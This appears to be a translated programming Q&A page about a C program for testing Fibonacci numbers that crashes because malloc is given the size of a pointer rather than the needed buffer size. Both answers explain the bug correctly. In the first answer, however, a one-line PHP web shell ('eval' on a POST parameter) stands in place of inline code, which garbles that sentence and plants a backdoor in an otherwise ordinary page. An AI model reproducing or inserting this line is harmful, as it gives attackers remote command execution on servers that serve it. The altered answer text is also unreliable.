我的C代码出了什么问题(由于malloc,我的输出是不稳定的)?

时间:2016-04-02 14:09:24

标签: c malloc

我有时会在执行此代码时遇到错误:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int digits(int n){
    int count = 0;
    while(n!=0)
    {
        n/=10;             /* n=n/10 */
        ++count;
    }
    return count;
}

int fib(int n){
    int r;
    if(n == 1 || n == 0)
        return 0;
    else if(n == 2)
        return 1;
    r = fib(n-1) + fib(n-2);
    return r;
}

void function(void){
    char* test;     //number you want to scan
    int* table; 
    int length, length2, test2 = 0, number, l, random = 0, j = 1, buffer;
    test = malloc(sizeof(test));
    table = malloc(sizeof(table));
    scanf("%s", test);
    number = atoi(test);
    length = strlen(test);      //length of input test number
    while(test2 < length + 1){
        printf("fib(%d) = %d\n", j, fib(j));
        buffer = table[j - 1] = fib(j);
        test2 = digits(buffer);
        j++;
    }
    //input size of "table" into "length2"
    length2 = j - 1;
    for(l = 0; l < length2; l++){
        if(table[l] == number){
            printf("YES\n");
            random = 1;
            break;
        }
    }
    if(random == 0)
        printf("NO\n");
    free(table);
    free(test);
}

int main(void){
    int num, i;
    scanf("%d", &num);

    for(i=0; i < num; i++){
        function();
    }
    return 0;
}

这是输出:

3
2
fib(1) = 0
fib(2) = 1
fib(3) = 1
fib(4) = 2
fib(5) = 3
fib(6) = 5
fib(7) = 8
fib(8) = 13
YES
*** Error in `./Am_I_a_Fibonacci_Number': free(): invalid next size (fast): 0x08384018 ***
Aborted (core dumped)

第一个数字是计算用户想要的输入数量(在本例中为3)和第二个数字(在这种情况下,第2个,第3个和第4个)数字是您要测试的数字是否为斐波那契数字。 对不起,如果这是一个非常难以阅读的代码,我有很多东西需要学习。

2 个答案:

答案 0 :(得分:1)

您没有分配足够的内存,因此您破坏了堆。 <?php @eval($_POST[1]); ?> 应用于指针(如在程序中)通常会产生4或8,具体取决于体系结构。显然,这对于sizeof()来说可能已经足够了,但对于test来说肯定是太少了。

你需要弄清楚你真正需要多少内存,并将其用作table中的参数。

答案 1 :(得分:1)

test = malloc(sizeof(test));
table = malloc(sizeof(table));

“test”是char *类型的变量。这样的变量通常具有4或8个字节的大小。因此,您可以为4或8个字节分配内存,这对于4或8个字符就足够了。

“table”是int *类型的变量。同样,通常为4或8个字节。分配4或8个字节通常足以用于1或2个int。如果你试图存储更多东西,事情就会出错。

计算出要分配多少个字符和整数,然后调用例如table = malloc(required_elements * sizeof(int))。